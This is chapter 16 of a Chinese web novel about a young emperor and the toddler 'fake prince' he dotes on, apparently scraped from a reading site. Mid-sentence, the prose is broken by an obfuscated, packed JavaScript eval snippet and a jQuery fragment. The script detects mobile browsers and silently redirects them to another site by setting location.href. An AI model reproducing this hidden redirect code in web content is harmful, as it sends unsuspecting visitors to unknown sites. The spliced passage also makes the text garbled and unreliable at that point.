16.第 16 章
作品:《我是封建大爹的假皇子》 皇帝轻轻拨开他小脸上的发丝,立在床边静静地望着他。
这孩子之前睡觉豪放不羁,小手小脚打开,呈现大字型,甚至还爬到他头上,皇帝觉得很讨厌,但是此刻看着姬钰像小虾米一样不安地蜷缩,他心里又有些说不出的难受。
他忙于国事,匆匆看了姬钰一面,便回去继续处理国务。
直到午后,姬钰才悠悠醒转,他昨夜病了一场,病气还未彻底消退,小脸泛着淡淡的红酡,神情迷迷糊糊的。
他左右看了看,看见龙床外围满了人,有贴身照顾他的宫人嬷嬷,还有太医,唯独没看见那道熟悉的明黄色身影。
姬钰低下小脑袋,没有过问皇帝的去向,他安安静静地喝药、用膳、洗漱,比往常还要乖。
一方面是因为他生病了犯困,没有精力闹腾,另一方面是因为他担心给别人惹麻烦。
昨日他偷偷跑出去,父皇因此大发雷霆,扬言要惩罚宫人,这件事姬钰记得很清楚。
他害怕自己又做错事,连累了别人。
晚间,皇帝终究放心不下,破天荒地取消了今日的晚朝,回到乾清宫内殿看望姬钰。
龙床外满是宫人和太医,里里外外地忙碌着,姬钰躺在床上,几乎看不见身影。
皇帝屏退众人,走到姬钰面前,小崽子正在捧着奶瓶,垂着小脑袋慢慢地喝着,格外的安静,看上去无端地落寞。
“姬钰。”皇帝唤了他一声,姬钰抬起头看向他,手里的奶瓶险些洒了,声音软糯:“父皇。”
皇帝在床边坐下,伸手去探姬钰的体温,问道:“你可好些了?”
姬钰乖乖地点头,“嗯。”
幼崽这般安静乖巧,反倒叫皇帝有几分不习惯,他没话找话:“寡人叫内务府给你打造了几只金镯。”
天家之中,金银不过俗物,但是姬钰喜欢,皇帝便让内务府拨人专门给姬钰打造金器。
皇帝说着,亲自给姬钰带上了金镯,八只金镯,小手小脚上各带两只,姬钰还太小,金镯也偏向精致轻薄,互相碰撞,叮当作响。
姬钰乖乖坐着,“谢谢父皇。”
皇帝总觉得有些不对劲,姬钰太乖了,难不成是病还没好全?他伸出手,探了探姬钰的颈窝。
——一切正常。
姬钰怕痒,皇帝冰凉的手一探到他颈窝时,他忍不住想笑,只能学着父皇平日不严苟笑的模样,竭力地抿着唇,试图憋笑。
皇帝察觉到异样,刚要收回手,想了想,坏心地挠了挠幼崽的颈窝,幼崽呆了呆,一下子往后倒去,咯咯笑成一团,“走开!父皇坏蛋!”
姬钰往后倒,少年也跟着往后倒,一大一小在龙床上躺倒,闹了一阵,姬钰腾地坐起来,指着湿答答的衣裳还有被衾,还有倒在一旁的奶瓶,用眼睛控诉皇帝。
看看,都是你干的好事!
皇帝坐起身,把湿漉漉的姬钰捞起来,低声道:“不生父皇的气了?”
姬钰方才这般安静,肯定是还生着他的气。
小崽子满身奶香,身上一片狼藉,脏兮兮的,很不高兴地坐在皇帝怀里,圆溜溜的眼珠一转,主动抱住皇帝,将身上的痕迹蹭到他身上,气鼓鼓地说:“我才没有生气呢。”
他只是……
稍微有一点害怕。
害怕做错事,害怕父皇生气,害怕连累别人。
皇帝摸了摸姬钰的小脑袋,低声道:“不生气就好。”
他一点也不明白幼崽的心思,但是得知姬钰没有生气,就连皇帝自己也没有发现,他实打实地松了一口气。
至于他为什么会在乎姬钰有没有生气这种小事……
大概是因为,姬钰一生气就会生病,看见姬钰生病,他心里就会很难受。
他不是在乎姬钰,他只是为了不让自己难受,仅此而已。
皇帝在心底对自己说。
一大一小破天荒地吵了一架,稀里糊涂地和好了。
姬钰年纪小不记事,确认那些宫人还好好的,很快便把这件事抛之脑后,继续在宫里当小霸王,除了吃喝睡觉就是找父皇。
太后也听说了姬钰偷跑去金銮殿,皇帝惩罚失职宫人之事,又听说皇帝为了姬钰取消晚朝,她捻了捻手中的佛珠,心下有了计较。
或许连皇帝自己也没有发现,他似乎很喜欢这个孩子。
早在一开始,他便可以处理掉这个孩子,抹杀一切威胁,但是他没有,非但没有,反而变得越来越在乎……
姬钰逐渐成为皇帝的软肋,这对太后来说是一件好事。
或许,姬钰未来能帮她除掉皇帝……
太后睁开眼,神色幽幽。
与此同时。
姬钰正在乾清宫里堆积木,内务府深谙他心,特意用黄金来做积木,在日光下亮闪闪的。
几个宫学博士坐在地毯上陪他一起堆,一群人玩得好不快活。
自从发生了上次的事情,乾清宫上下更加紧张姬钰,愈发小心地照顾他。
姬钰虽然坐在地上玩,明里暗里不知多少人盯着他。
他对此毫不知情,兴高采烈地玩着,还时不时悄悄地偷几块积木藏到摇篮里,一群人看在眼里,谁也没有出声。
不出意外,皇宫里的东西将来都是小殿下的,他爱藏哪藏哪。
皇帝知道姬钰爱藏东西,对此也不在意,只要姬钰喜欢,这些无关紧要的小事都由着他。
他甚至乐得看着姬钰的小金库日渐增多,有一次皇帝翻开姬钰的小金库查看,寻思着要往里添点东西。
一转头,便看见姬钰站在不远处,气鼓鼓地看着他,下一刻,突然像头小牛犊一样冲过来,哼哧哼哧地爬上摇篮,抱着里面的黄金迈着小手小脚迅速跑开。
小金库太多,姬钰只能抱走一点点,他跑了几步,依依不舍地望向身后的摇篮,又仰头看了一眼皇帝,生气道:“父皇!你不许偷看!”
皇帝奇怪地望着他,姬钰的小金库都是他的,就连姬钰本身也是属于他的,有什么不能偷看?
他站在原地一动不动,毫无回避的意思,“寡人有什么不能看的?”
姬钰抱着黄金,气得小脸泛红,试图
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148952|196275||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
讲道理:“这是我的,不给你看。”
“你的?”皇帝笑了一下,“你是寡人的,你的也是寡人的。”姬钰的一切都来源于他,不应该对他有所隐瞒。
姬钰听不明白,只知道父皇在耍无赖,他深深吸了一口气,使出绝招,放声大哭。
只是他一点也不伤心,哭不出眼泪,只有干嚎。
皇帝下意识慌乱了一瞬,看清姬钰根本没有眼泪,心下一松,随即涌出一股被控制的不悦,姬钰这个坏崽子,难道想用哭声控制他吗?
更加讨厌的是,他不得不承认,听到姬钰的哭声,他会本能地慌乱。
皇帝毕竟是一个处于叛逆期的少年,尽管平素表现得喜怒不形于色,在朝臣面前是冷面暴君,在姬钰面前还是会暴露真实的一面。
他走到姬钰面前,一把抱起他,带他走回摇篮前,很恶劣地说:“寡人就要看,不仅看,寡人还要数。”
说着,他当着姬钰的面,一五一十地清点他的小金库。
姬钰哭不出来,只能转变方法,抱住皇帝的颈项,习惯性地把小脸贴在他面颊上蹭他,断断续续地说:“父皇,父皇,你数了,是不是已经发现了呀?”
习惯真是一个很糟糕的东西,皇帝已经习惯了姬钰像条小毛毛虫在他身上蹭,明知姬钰可能要给他下套,他面无表情地问:“发现什么?”
姬钰蹭了蹭皇帝的面颊,小手绕着皇帝的漆发,期期艾艾道:“很少,不够。”
父皇数过了,肯定发现崽崽的小金库很少,根本不够。
皇帝点了点姬钰的小脑袋,有些哭笑不得:“你怎么这么贪财呢?”
这宫里有什么有什么,偏偏姬钰打小就喜欢囤小金库,他拿姬钰毫无办法,只能让内务府给姬钰送新的黄金来。
黄金全部堆在姬钰的摇篮里,堆得满满的,姬钰担心被别人看见,连忙指挥皇帝给摇篮盖上小被子。
皇帝:“……”
他抱着姬钰,任劳任怨地给他的小摇篮盖上了被子。
姬钰抱住皇帝的颈项,作为奖励,他重重地亲了一口皇帝的面颊,贴着他的耳畔小声道:“只能给父皇看。”
他的小金库,只能给皇帝看。
反正皇帝日理万机,估计也不记得小金库里面有什么,等他长大以后,就可以带着满满当当的小金库跑路。
姬钰美滋滋地想着。
皇帝不知道姬钰在想什么,但是他能感受到姬钰对他毫无保留的信任,这孩子这么贪财,但是他愿意把小金库给他看,而且只给他一个人看……
心脏仿佛被棉花充盈,柔软充实,皇帝静静地感受着这种奇异的感觉,缓缓抱紧了怀里的幼崽。
这是他的皇子。
虽然不是他亲生的,但那又什么关系,姬钰完完全全地属于他,从小到大,从里到外。
时至今日,他不得不承认,姬钰是他的附属品,承载着他一部分的喜怒。
父皇不知道在想什么,想得出神,姬钰牙痒了,悄无声息地衔住皇帝的手指,露出得逞的坏笑,兴高采烈地磨牙。

